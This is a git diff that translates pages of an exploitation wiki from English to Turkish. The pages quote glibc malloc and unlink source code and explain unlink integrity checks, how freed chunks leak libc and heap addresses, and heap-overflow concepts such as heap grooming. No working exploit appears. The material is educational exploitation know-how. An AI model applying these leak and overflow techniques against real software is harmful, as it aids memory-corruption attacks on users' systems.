-### sysmalloc main arena +### sysmalloc ana alanı -It starts calculating the amount of memory needed. It'll start by requesting contiguous memory so in this case it'll be possible to use the old memory not used. Also some align operations are performed. +Gerekli bellek miktarını hesaplamaya başlar. Öncelikle bitişik bellek talep ederek başlayacak, bu nedenle kullanılmayan eski belleği kullanmak mümkün olacaktır. Ayrıca bazı hizalama işlemleri gerçekleştirilir.
-sysmalloc main arena - +sysmalloc ana alanı ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2665C1-L2713C10 - else /* av == main_arena */ +else /* av == main_arena */ - { /* Request enough space for nb + pad + overhead */ - size = nb + mp_.top_pad + MINSIZE; +{ /* Request enough space for nb + pad + overhead */ +size = nb + mp_.top_pad + MINSIZE; - /* - If contiguous, we can subtract out existing space that we hope to - combine with new space. We add it back later only if - we don't actually get contiguous space. - */ +/* +If contiguous, we can subtract out existing space that we hope to +combine with new space. We add it back later only if +we don't actually get contiguous space. +*/ - if (contiguous (av)) - size -= old_size; +if (contiguous (av)) +size -= old_size; - /* - Round to a multiple of page size or huge page size. - If MORECORE is not contiguous, this ensures that we only call it - with whole-page arguments. And if MORECORE is contiguous and - this is not first time through, this preserves page-alignment of - previous calls. Otherwise, we correct to page-align below. - */ +/* +Round to a multiple of page size or huge page size. +If MORECORE is not contiguous, this ensures that we only call it +with whole-page arguments. And if MORECORE is contiguous and +this is not first time through, this preserves page-alignment of +previous calls. Otherwise, we correct to page-align below. +*/ #ifdef MADV_HUGEPAGE - /* Defined in brk.c. */ - extern void *__curbrk; - if (__glibc_unlikely (mp_.thp_pagesize != 0)) - { - uintptr_t top = ALIGN_UP ((uintptr_t) __curbrk + size, - mp_.thp_pagesize); - size = top - (uintptr_t) __curbrk; - } - else +/* Defined in brk.c. */ +extern void *__curbrk; +if (__glibc_unlikely (mp_.thp_pagesize != 0)) +{ +uintptr_t top = ALIGN_UP ((uintptr_t) __curbrk + size, +mp_.thp_pagesize); +size = top - (uintptr_t) __curbrk; +} +else #endif - size = ALIGN_UP (size, GLRO(dl_pagesize)); +size = ALIGN_UP (size, GLRO(dl_pagesize)); - /* - Don't try to call MORECORE if argument is so big as to appear - negative. Note that since mmap takes size_t arg, it may succeed - below even if we cannot call MORECORE. - */ +/* +Don't try to call MORECORE if argument is so big as to appear +negative. Note that since mmap takes size_t arg, it may succeed +below even if we cannot call MORECORE. +*/ - if (size > 0) - { - brk = (char *) (MORECORE (size)); - if (brk != (char *) (MORECORE_FAILURE)) - madvise_thp (brk, size); - LIBC_PROBE (memory_sbrk_more, 2, brk, size); - } +if (size > 0) +{ +brk = (char *) (MORECORE (size)); +if (brk != (char *) (MORECORE_FAILURE)) +madvise_thp (brk, size); +LIBC_PROBE (memory_sbrk_more, 2, brk, size); +} ``` -
-### sysmalloc main arena previous error 1 +### sysmalloc ana alanı önceki hata 1 -If the previous returned `MORECORE_FAILURE`, try agin to allocate memory using `sysmalloc_mmap_fallback` +Eğer önceki dönen `MORECORE_FAILURE` ise, `sysmalloc_mmap_fallback` kullanarak bellek tahsis etmeyi tekrar deneyin.
-sysmalloc main arena previous error 1 - +sysmalloc ana alanı önceki hata 1 ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2715C7-L2740C10 if (brk == (char *) (MORECORE_FAILURE)) - { - /* - If have mmap, try using it as a backup when MORECORE fails or - cannot be used. This is worth doing on systems that have "holes" in - address space, so sbrk cannot extend to give contiguous space, but - space is available elsewhere. Note that we ignore mmap max count - and threshold limits, since the space will not be used as a - segregated mmap region. - */ +{ +/* +If have mmap, try using it as a backup when MORECORE fails or +cannot be used. This is worth doing on systems that have "holes" in +address space, so sbrk cannot extend to give contiguous space, but +space is available elsewhere. Note that we ignore mmap max count +and threshold limits, since the space will not be used as a +segregated mmap region. +*/ - char *mbrk = MAP_FAILED; - if (mp_.hp_pagesize > 0) - mbrk = sysmalloc_mmap_fallback (&size, nb, old_size, - mp_.hp_pagesize, mp_.hp_pagesize, - mp_.hp_flags, av); - if (mbrk == MAP_FAILED) - mbrk = sysmalloc_mmap_fallback (&size, nb, old_size, MMAP_AS_MORECORE_SIZE, - pagesize, 0, av); - if (mbrk != MAP_FAILED) - { - /* We do not need, and cannot use, another sbrk call to find end */ - brk = mbrk; - snd_brk = brk + size; - } - } +char *mbrk = MAP_FAILED; +if (mp_.hp_pagesize > 0) +mbrk = sysmalloc_mmap_fallback (&size, nb, old_size, +mp_.hp_pagesize, mp_.hp_pagesize, +mp_.hp_flags, av); +if (mbrk == MAP_FAILED) +mbrk = sysmalloc_mmap_fallback (&size, nb, old_size, MMAP_AS_MORECORE_SIZE, +pagesize, 0, av); +if (mbrk != MAP_FAILED) +{ +/* We do not need, and cannot use, another sbrk call to find end */ +brk = mbrk; +snd_brk = brk + size; +} +} ``` -
-### sysmalloc main arena continue +### sysmalloc ana arenaya devam -If the previous didn't return `MORECORE_FAILURE`, if it worked create some alignments: +Eğer önceki `MORECORE_FAILURE` döndürmediyse, çalıştıysa bazı hizalamalar oluşturun:
-sysmalloc main arena previous error 2 - +sysmalloc ana arena önceki hata 2 ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2742 if (brk != (char *) (MORECORE_FAILURE)) - { - if (mp_.sbrk_base == 0) - mp_.sbrk_base = brk; - av->system_mem += size; +{ +if (mp_.sbrk_base == 0) +mp_.sbrk_base = brk; +av->system_mem += size; - /* - If MORECORE extends previous space, we can likewise extend top size. - */ +/* +If MORECORE extends previous space, we can likewise extend top size. +*/ - if (brk == old_end && snd_brk == (char *) (MORECORE_FAILURE)) - set_head (old_top, (size + old_size) | PREV_INUSE); +if (brk == old_end && snd_brk == (char *) (MORECORE_FAILURE)) +set_head (old_top, (size + old_size) | PREV_INUSE); - else if (contiguous (av) && old_size && brk < old_end) - /* Oops! Someone else killed our space.. Can't touch anything. */ - malloc_printerr ("break adjusted to free malloc space"); +else if (contiguous (av) && old_size && brk < old_end) +/* Oops! Someone else killed our space.. Can't touch anything. */ +malloc_printerr ("break adjusted to free malloc space"); - /* - Otherwise, make adjustments: +/* +Otherwise, make adjustments: - * If the first time through or noncontiguous, we need to call sbrk - just to find out where the end of memory lies. +* If the first time through or noncontiguous, we need to call sbrk +just to find out where the end of memory lies. - * We need to ensure that all returned chunks from malloc will meet - MALLOC_ALIGNMENT +* We need to ensure that all returned chunks from malloc will meet +MALLOC_ALIGNMENT - * If there was an intervening foreign sbrk, we need to adjust sbrk - request size to account for fact that we will not be able to - combine new space with existing space in old_top. +* If there was an intervening foreign sbrk, we need to adjust sbrk +request size to account for fact that we will not be able to +combine new space with existing space in old_top. - * Almost all systems internally allocate whole pages at a time, in - which case we might as well use the whole last page of request. - So we allocate enough more memory to hit a page boundary now, - which in turn causes future contiguous calls to page-align. - */ +* Almost all systems internally allocate whole pages at a time, in +which case we might as well use the whole last page of request. +So we allocate enough more memory to hit a page boundary now, +which in turn causes future contiguous calls to page-align. +*/ - else - { - front_misalign = 0; - end_misalign = 0; - correction = 0; - aligned_brk = brk; +else +{ +front_misalign = 0; +end_misalign = 0; +correction = 0; +aligned_brk = brk; - /* handle contiguous cases */ - if (contiguous (av)) - { - /* Count foreign sbrk as system_mem. */ - if (old_size) - av->system_mem += brk - old_end; +/* handle contiguous cases */ +if (contiguous (av)) +{ +/* Count foreign sbrk as system_mem. */ +if (old_size) +av->system_mem += brk - old_end; - /* Guarantee alignment of first new chunk made from this space */ +/* Guarantee alignment of first new chunk made from this space */ - front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK; - if (front_misalign > 0) - { - /* - Skip over some bytes to arrive at an aligned position. - We don't need to specially mark these wasted front bytes. - They will never be accessed anyway because - prev_inuse of av->top (and any chunk created from its start) - is always true after initialization. - */ +front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK; +if (front_misalign > 0) +{ +/* +Skip over some bytes to arrive at an aligned position. +We don't need to specially mark these wasted front bytes. +They will never be accessed anyway because +prev_inuse of av->top (and any chunk created from its start) +is always true after initialization. +*/ - correction = MALLOC_ALIGNMENT - front_misalign; - aligned_brk += correction; - } +correction = MALLOC_ALIGNMENT - front_misalign; +aligned_brk += correction; +} - /* - If this isn't adjacent to existing space, then we will not - be able to merge with old_top space, so must add to 2nd request. - */ +/* +If this isn't adjacent to existing space, then we will not +be able to merge with old_top space, so must add to 2nd request. +*/ - correction += old_size; +correction += old_size; - /* Extend the end address to hit a page boundary */ - end_misalign = (INTERNAL_SIZE_T) (brk + size + correction); - correction += (ALIGN_UP (end_misalign, pagesize)) - end_misalign; +/* Extend the end address to hit a page boundary */ +end_misalign = (INTERNAL_SIZE_T) (brk + size + correction); +correction += (ALIGN_UP (end_misalign, pagesize)) - end_misalign; - assert (correction >= 0); - snd_brk = (char *) (MORECORE (correction)); +assert (correction >= 0); +snd_brk = (char *) (MORECORE (correction)); - /* - If can't allocate correction, try to at least find out current - brk. It might be enough to proceed without failing. +/* +If can't allocate correction, try to at least find out current +brk. It might be enough to proceed without failing. - Note that if second sbrk did NOT fail, we assume that space - is contiguous with first sbrk. This is a safe assumption unless - program is multithreaded but doesn't use locks and a foreign sbrk - occurred between our first and second calls. - */ +Note that if second sbrk did NOT fail, we assume that space +is contiguous with first sbrk. This is a safe assumption unless +program is multithreaded but doesn't use locks and a foreign sbrk +occurred between our first and second calls. +*/ - if (snd_brk == (char *) (MORECORE_FAILURE)) - { - correction = 0; - snd_brk = (char *) (MORECORE (0)); - } - else - madvise_thp (snd_brk, correction); - } +if (snd_brk == (char *) (MORECORE_FAILURE)) +{ +correction = 0; +snd_brk = (char *) (MORECORE (0)); +} +else +madvise_thp (snd_brk, correction); +} - /* handle non-contiguous cases */ - else - { - if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) - /* MORECORE/mmap must correctly align */ - assert (((unsigned long) chunk2mem (brk) & MALLOC_ALIGN_MASK) == 0); - else - { - front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK; - if (front_misalign > 0) - { - /* - Skip over some bytes to arrive at an aligned position. - We don't need to specially mark these wasted front bytes. - They will never be accessed anyway because - prev_inuse of av->top (and any chunk created from its start) - is always true after initialization. - */ +/* handle non-contiguous cases */ +else +{ +if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) +/* MORECORE/mmap must correctly align */ +assert (((unsigned long) chunk2mem (brk) & MALLOC_ALIGN_MASK) == 0); +else +{ +front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK; +if (front_misalign > 0) +{ +/* +Skip over some bytes to arrive at an aligned position. +We don't need to specially mark these wasted front bytes. +They will never be accessed anyway because +prev_inuse of av->top (and any chunk created from its start) +is always true after initialization. +*/ - aligned_brk += MALLOC_ALIGNMENT - front_misalign; - } - } +aligned_brk += MALLOC_ALIGNMENT - front_misalign; +} +} - /* Find out current end of memory */ - if (snd_brk == (char *) (MORECORE_FAILURE)) - { - snd_brk = (char *) (MORECORE (0)); - } - } +/* Find out current end of memory */ +if (snd_brk == (char *) (MORECORE_FAILURE)) +{ +snd_brk = (char *) (MORECORE (0)); +} +} - /* Adjust top based on results of second sbrk */ - if (snd_brk != (char *) (MORECORE_FAILURE)) - { - av->top = (mchunkptr) aligned_brk; - set_head (av->top, (snd_brk - aligned_brk + correction) | PREV_INUSE); - av->system_mem += correction; +/* Adjust top based on results of second sbrk */ +if (snd_brk != (char *) (MORECORE_FAILURE)) +{ +av->top = (mchunkptr) aligned_brk; +set_head (av->top, (snd_brk - aligned_brk + correction) | PREV_INUSE); +av->system_mem += correction; - /* - If not the first time through, we either have a - gap due to foreign sbrk or a non-contiguous region. Insert a - double fencepost at old_top to prevent consolidation with space - we don't own. These fenceposts are artificial chunks that are - marked as inuse and are in any case too small to use. We need - two to make sizes and alignments work out. - */ +/* +If not the first time through, we either have a +gap due to foreign sbrk or a non-contiguous region. Insert a +double fencepost at old_top to prevent consolidation with space +we don't own. These fenceposts are artificial chunks that are +marked as inuse and are in any case too small to use. We need +two to make sizes and alignments work out. +*/ - if (old_size != 0) - { - /* - Shrink old_top to insert fenceposts, keeping size a - multiple of MALLOC_ALIGNMENT. We know there is at least - enough space in old_top to do this. - */ - old_size = (old_size - 2 * CHUNK_HDR_SZ) & ~MALLOC_ALIGN_MASK; - set_head (old_top, old_size | PREV_INUSE); +if (old_size != 0) +{ +/* +Shrink old_top to insert fenceposts, keeping size a +multiple of MALLOC_ALIGNMENT. We know there is at least +enough space in old_top to do this. +*/ +old_size = (old_size - 2 * CHUNK_HDR_SZ) & ~MALLOC_ALIGN_MASK; +set_head (old_top, old_size | PREV_INUSE); - /* - Note that the following assignments completely overwrite - old_top when old_size was previously MINSIZE. This is - intentional. We need the fencepost, even if old_top otherwise gets - lost. - */ - set_head (chunk_at_offset (old_top, old_size), - CHUNK_HDR_SZ | PREV_INUSE); - set_head (chunk_at_offset (old_top, - old_size + CHUNK_HDR_SZ), - CHUNK_HDR_SZ | PREV_INUSE); +/* +Note that the following assignments completely overwrite +old_top when old_size was previously MINSIZE. This is +intentional. We need the fencepost, even if old_top otherwise gets +lost. +*/ +set_head (chunk_at_offset (old_top, old_size), +CHUNK_HDR_SZ | PREV_INUSE); +set_head (chunk_at_offset (old_top, +old_size + CHUNK_HDR_SZ), +CHUNK_HDR_SZ | PREV_INUSE); - /* If possible, release the rest. */ - if (old_size >= MINSIZE) - { - _int_free (av, old_top, 1); - } - } - } - } - } - } /* if (av != &main_arena) */ +/* If possible, release the rest. */ +if (old_size >= MINSIZE) +{ +_int_free (av, old_top, 1); +} +} +} +} +} +} /* if (av != &main_arena) */ ``` -
### sysmalloc finale -Finish the allocation updating the arena information - +Arenanın bilgilerini güncelleyerek tahsisi tamamlayın. ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2921C3-L2943C12 if ((unsigned long) av->system_mem > (unsigned long) (av->max_system_mem)) - av->max_system_mem = av->system_mem; - check_malloc_state (av); +av->max_system_mem = av->system_mem; +check_malloc_state (av); - /* finally, do the allocation */ - p = av->top; - size = chunksize (p); +/* finally, do the allocation */ +p = av->top; +size = chunksize (p); - /* check that one of the above allocation paths succeeded */ - if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) - { - remainder_size = size - nb; - remainder = chunk_at_offset (p, nb); - av->top = remainder; - set_head (p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); - set_head (remainder, remainder_size | PREV_INUSE); - check_malloced_chunk (av, p, nb); - return chunk2mem (p); - } +/* check that one of the above allocation paths succeeded */ +if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) +{ +remainder_size = size - nb; +remainder = chunk_at_offset (p, nb); +av->top = remainder; +set_head (p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); +check_malloced_chunk (av, p, nb); +return chunk2mem (p); +} - /* catch all failure paths */ - __set_errno (ENOMEM); - return 0; +/* catch all failure paths */ +__set_errno (ENOMEM); +return 0; ``` - ## sysmalloc_mmap
-sysmalloc_mmap code - +sysmalloc_mmap kodu ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2392C1-L2481C2 static void * sysmalloc_mmap (INTERNAL_SIZE_T nb, size_t pagesize, int extra_flags, mstate av) { - long int size; +long int size; - /* - Round up size to nearest page. For mmapped chunks, the overhead is one - SIZE_SZ unit larger than for normal chunks, because there is no - following chunk whose prev_size field could be used. +/* +Round up size to nearest page. For mmapped chunks, the overhead is one +SIZE_SZ unit larger than for normal chunks, because there is no +following chunk whose prev_size field could be used. - See the front_misalign handling below, for glibc there is no need for - further alignments unless we have have high alignment. - */ - if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) - size = ALIGN_UP (nb + SIZE_SZ, pagesize); - else - size = ALIGN_UP (nb + SIZE_SZ + MALLOC_ALIGN_MASK, pagesize); +See the front_misalign handling below, for glibc there is no need for +further alignments unless we have have high alignment. +*/ +if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) +size = ALIGN_UP (nb + SIZE_SZ, pagesize); +else +size = ALIGN_UP (nb + SIZE_SZ + MALLOC_ALIGN_MASK, pagesize); - /* Don't try if size wraps around 0. */ - if ((unsigned long) (size) <= (unsigned long) (nb)) - return MAP_FAILED; +/* Don't try if size wraps around 0. */ +if ((unsigned long) (size) <= (unsigned long) (nb)) +return MAP_FAILED; - char *mm = (char *) MMAP (0, size, - mtag_mmap_flags | PROT_READ | PROT_WRITE, - extra_flags); - if (mm == MAP_FAILED) - return mm; +char *mm = (char *) MMAP (0, size, +mtag_mmap_flags | PROT_READ | PROT_WRITE, +extra_flags); +if (mm == MAP_FAILED) +return mm; #ifdef MAP_HUGETLB - if (!(extra_flags & MAP_HUGETLB)) - madvise_thp (mm, size); +if (!(extra_flags & MAP_HUGETLB)) +madvise_thp (mm, size); #endif - __set_vma_name (mm, size, " glibc: malloc"); +__set_vma_name (mm, size, " glibc: malloc"); - /* - The offset to the start of the mmapped region is stored in the prev_size - field of the chunk. This allows us to adjust returned start address to - meet alignment requirements here and in memalign(), and still be able to - compute proper address argument for later munmap in free() and realloc(). - */ +/* +The offset to the start of the mmapped region is stored in the prev_size +field of the chunk. This allows us to adjust returned start address to +meet alignment requirements here and in memalign(), and still be able to +compute proper address argument for later munmap in free() and realloc(). +*/ - INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */ +INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */ - if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) - { - /* For glibc, chunk2mem increases the address by CHUNK_HDR_SZ and - MALLOC_ALIGN_MASK is CHUNK_HDR_SZ-1. Each mmap'ed area is page - aligned and therefore definitely MALLOC_ALIGN_MASK-aligned. */ - assert (((INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK) == 0); - front_misalign = 0; - } - else - front_misalign = (INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK; +if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) +{ +/* For glibc, chunk2mem increases the address by CHUNK_HDR_SZ and +MALLOC_ALIGN_MASK is CHUNK_HDR_SZ-1. Each mmap'ed area is page +aligned and therefore definitely MALLOC_ALIGN_MASK-aligned. */ +assert (((INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK) == 0); +front_misalign = 0; +} +else +front_misalign = (INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK; - mchunkptr p; /* the allocated/returned chunk */ +mchunkptr p; /* the allocated/returned chunk */ - if (front_misalign > 0) - { - ptrdiff_t correction = MALLOC_ALIGNMENT - front_misalign; - p = (mchunkptr) (mm + correction); - set_prev_size (p, correction); - set_head (p, (size - correction) | IS_MMAPPED); - } - else - { - p = (mchunkptr) mm; - set_prev_size (p, 0); - set_head (p, size | IS_MMAPPED); - } +if (front_misalign > 0) +{ +ptrdiff_t correction = MALLOC_ALIGNMENT - front_misalign; +p = (mchunkptr) (mm + correction); +set_prev_size (p, correction); +set_head (p, (size - correction) | IS_MMAPPED); +} +else +{ +p = (mchunkptr) mm; +set_prev_size (p, 0); +set_head (p, size | IS_MMAPPED); +} - /* update statistics */ - int new = atomic_fetch_add_relaxed (&mp_.n_mmaps, 1) + 1; - atomic_max (&mp_.max_n_mmaps, new); +/* update statistics */ +int new = atomic_fetch_add_relaxed (&mp_.n_mmaps, 1) + 1; +atomic_max (&mp_.max_n_mmaps, new); - unsigned long sum; - sum = atomic_fetch_add_relaxed (&mp_.mmapped_mem, size) + size; - atomic_max (&mp_.max_mmapped_mem, sum); +unsigned long sum; +sum = atomic_fetch_add_relaxed (&mp_.mmapped_mem, size) + size; +atomic_max (&mp_.max_mmapped_mem, sum); - check_chunk (av, p); +check_chunk (av, p); - return chunk2mem (p); +return chunk2mem (p); } ``` -
{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md b/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md index 7d26f6546..27b8fa0c6 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md @@ -2,8 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -### Code - +### Kod ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -11,73 +10,72 @@ static void unlink_chunk (mstate av, mchunkptr p) { - if (chunksize (p) != prev_size (next_chunk (p))) - malloc_printerr ("corrupted size vs. prev_size"); +if (chunksize (p) != prev_size (next_chunk (p))) +malloc_printerr ("corrupted size vs. prev_size"); - mchunkptr fd = p->fd; - mchunkptr bk = p->bk; +mchunkptr fd = p->fd; +mchunkptr bk = p->bk; - if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) - malloc_printerr ("corrupted double-linked list"); +if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) +malloc_printerr ("corrupted double-linked list"); - fd->bk = bk; - bk->fd = fd; - if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL) - { - if (p->fd_nextsize->bk_nextsize != p - || p->bk_nextsize->fd_nextsize != p) - malloc_printerr ("corrupted double-linked list (not small)"); +fd->bk = bk; +bk->fd = fd; +if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL) +{ +if (p->fd_nextsize->bk_nextsize != p +|| p->bk_nextsize->fd_nextsize != p) +malloc_printerr ("corrupted double-linked list (not small)"); - // Added: If the FD is not in the nextsize list - if (fd->fd_nextsize == NULL) - { +// Added: If the FD is not in the nextsize list +if (fd->fd_nextsize == NULL) +{ - if (p->fd_nextsize == p) - fd->fd_nextsize = fd->bk_nextsize = fd; - else - // Link the nexsize list in when removing the new chunk - { - fd->fd_nextsize = p->fd_nextsize; - fd->bk_nextsize = p->bk_nextsize; - p->fd_nextsize->bk_nextsize = fd; - p->bk_nextsize->fd_nextsize = fd; - } - } - else - { - p->fd_nextsize->bk_nextsize = p->bk_nextsize; - p->bk_nextsize->fd_nextsize = p->fd_nextsize; - } - } +if (p->fd_nextsize == p) +fd->fd_nextsize = fd->bk_nextsize = fd; +else +// Link the nexsize list in when removing the new chunk +{ +fd->fd_nextsize = p->fd_nextsize; +fd->bk_nextsize = p->bk_nextsize; +p->fd_nextsize->bk_nextsize = fd; +p->bk_nextsize->fd_nextsize = fd; +} +} +else +{ +p->fd_nextsize->bk_nextsize = p->bk_nextsize; +p->bk_nextsize->fd_nextsize = p->fd_nextsize; +} +} } ``` +### Grafiksel Açıklama -### Graphical Explanation - -Check this great graphical explanation of the unlink process: +unlink sürecinin harika grafiksel açıklamasını kontrol edin:

https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png

-### Security Checks +### Güvenlik Kontrolleri -- Check if the indicated size of the chunk is the same as the prev_size indicated in the next chunk -- Check also that `P->fd->bk == P` and `P->bk->fw == P` -- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P` +- Parçanın belirtilen boyutunun, bir sonraki parçadaki prev_size ile aynı olup olmadığını kontrol edin +- Ayrıca `P->fd->bk == P` ve `P->bk->fw == P` olduğunu kontrol edin +- Parça küçük değilse, `P->fd_nextsize->bk_nextsize == P` ve `P->bk_nextsize->fd_nextsize == P` olduğunu kontrol edin -### Leaks +### Leak'ler -An unlinked chunk is not cleaning the allocated addreses, so having access to rad it, it's possible to leak some interesting addresses: +Bağlantısı kesilmiş bir parça, tahsis edilen adresleri temizlemez, bu nedenle ona erişim sağlamak, bazı ilginç adresleri sızdırmak mümkündür: -Libc Leaks: +Libc Leak'leri: -- If P is located in the head of the doubly linked list, `bk` will be pointing to `malloc_state` in libc -- If P is located at the end of the doubly linked list, `fd` will be pointing to `malloc_state` in libc -- When the doubly linked list contains only one free chunk, P is in the doubly linked list, and both `fd` and `bk` can leak the address inside `malloc_state`. +- Eğer P, çift bağlı listenin başındaysa, `bk` libc'deki `malloc_state`'e işaret edecektir +- Eğer P, çift bağlı listenin sonunda ise, `fd` libc'deki `malloc_state`'e işaret edecektir +- Çift bağlı liste yalnızca bir serbest parçayı içeriyorsa, P çift bağlı listede yer alır ve hem `fd` hem de `bk`, `malloc_state` içindeki adresi sızdırabilir. -Heap leaks: +Heap leak'leri: -- If P is located in the head of the doubly linked list, `fd` will be pointing to an available chunk in the heap -- If P is located at the end of the doubly linked list, `bk` will be pointing to an available chunk in the heap -- If P is in the doubly linked list, both `fd` and `bk` will be pointing to an available chunk in the heap +- Eğer P, çift bağlı listenin başındaysa, `fd` heap'teki mevcut bir parçaya işaret edecektir +- Eğer P, çift bağlı listenin sonunda ise, `bk` heap'teki mevcut bir parçaya işaret edecektir +- Eğer P çift bağlı listede ise, hem `fd` hem de `bk`, heap'teki mevcut bir parçaya işaret edecektir {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/heap-overflow.md b/src/binary-exploitation/libc-heap/heap-overflow.md index 24ea86a70..2279434bb 100644 --- a/src/binary-exploitation/libc-heap/heap-overflow.md +++ b/src/binary-exploitation/libc-heap/heap-overflow.md @@ -2,49 +2,47 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -A heap overflow is like a [**stack overflow**](../stack-overflow/) but in the heap. Basically it means that some space was reserved in the heap to store some data and **stored data was bigger than the space reserved.** +Heap overflow, [**stack overflow**](../stack-overflow/) gibi ama heap'te gerçekleşir. Temelde, bazı verileri depolamak için heap'te bir alan ayrıldığı ve **depolanan verinin ayrılan alandan daha büyük olduğu** anlamına gelir. -In stack overflows we know that some registers like the instruction pointer or the stack frame are going to be restored from the stack and it could be possible to abuse this. In case of heap overflows, there **isn't any sensitive information stored by default** in the heap chunk that can be overflowed. However, it could be sensitive information or pointers, so the **criticality** of this vulnerability **depends** on **which data could be overwritten** and how an attacker could abuse this. +Stack overflow'larda, talimat işaretçisi veya stack çerçevesi gibi bazı kayıtların stack'ten geri yükleneceğini biliyoruz ve bunu kötüye kullanmak mümkün olabilir. Heap overflow'larda ise, **varsayılan olarak heap parçasında saklanan herhangi bir hassas bilgi yoktur**. Ancak, hassas bilgiler veya işaretçiler olabilir, bu nedenle bu açığın **kritikliği** **hangi verilerin üzerine yazılabileceğine** ve bir saldırganın bunu nasıl kötüye kullanabileceğine **bağlıdır**. > [!TIP] -> In order to find overflow offsets you can use the same patterns as in [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets). +> Overflow offset'lerini bulmak için [**stack overflow'larda**](../stack-overflow/#finding-stack-overflows-offsets) olduğu gibi aynı desenleri kullanabilirsiniz. -### Stack Overflows vs Heap Overflows +### Stack Overflow'lar vs Heap Overflow'lar -In stack overflows the arranging and data that is going to be present in the stack at the moment the vulnerability can be triggered is fairly reliable. This is because the stack is linear, always increasing in colliding memory, in **specific places of the program run the stack memory usually stores similar kind of data** and it has some specific structure with some pointers at the end of the stack part used by each function. +Stack overflow'larda, açığın tetiklenebileceği anda stack'te bulunacak düzen ve veri oldukça güvenilirdir. Bunun nedeni, stack'in lineer olması, her zaman çarpışan bellek içinde artması, **programın belirli yerlerinde stack belleğinin genellikle benzer türde verileri depolamasıdır** ve her fonksiyon tarafından kullanılan stack parçasının sonunda bazı işaretçilerle belirli bir yapıya sahip olmasıdır. -However, in the case of a heap overflow, the used memory isn’t linear but **allocated chunks are usually in separated positions of memory** (not one next to the other) because of **bins and zones** separating allocations by size and because **previous freed memory is used** before allocating new chunks. It’s **complicated to know the object that is going to be colliding with the one vulnerable** to a heap overflow. So, when a heap overflow is found, it’s needed to find a **reliable way to make the desired object to be next in memory** from the one that can be overflowed. +Ancak, heap overflow durumunda, kullanılan bellek lineer değildir, **ayrılan parçalar genellikle bellek içinde ayrı konumlarda** (birbirinin yanında değil) bulunur çünkü **boyutlarına göre ayrılan alanları** ayıran **bins ve zonlar** vardır ve **önceki serbest bellek kullanılır** yeni parçalar ayırmadan önce. **Bir heap overflow ile çarpışacak nesneyi bilmek karmaşıktır.** Bu nedenle, bir heap overflow bulunduğunda, **istenen nesnenin bellek içinde overflow edilebilecek nesnenin yanına gelmesini sağlamak için güvenilir bir yol bulmak** gerekir. -One of the techniques used for this is **Heap Grooming** which is used for example [**in this post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). In the post it’s explained how when in iOS kernel when a zone run out of memory to store chunks of memory, it expands it by a kernel page, and this page is splitted into chunks of the expected sizes which would be used in order (until iOS version 9.2, then these chunks are used in a randomised way to difficult the exploitation of these attacks). +Bunun için kullanılan tekniklerden biri **Heap Grooming**'dir, örneğin [**bu yazıda**](https://azeria-labs.com/grooming-the-ios-kernel-heap/) kullanılır. Yazıda, iOS çekirdeğinde bir alanın bellek parçalarını depolamak için bellek kalmadığında, bir çekirdek sayfası ile genişletildiği ve bu sayfanın beklenen boyutlardaki parçalara bölündüğü açıklanmaktadır (iOS sürüm 9.2'ye kadar, ardından bu parçalar bu saldırıların istismarını zorlaştırmak için rastgele bir şekilde kullanılır). -Therefore, in the previous post where a heap overflow is happening, in order to force the overflowed object to be colliding with a victim order, several **`kallocs` are forced by several threads to try to ensure that all the free chunks are filled and that a new page is created**. +Bu nedenle, önceki yazıda bir heap overflow gerçekleştiğinde, overflow edilen nesneyi bir kurban nesnesi ile çarpışacak şekilde zorlamak için, **tüm serbest parçaların doldurulmasını sağlamak 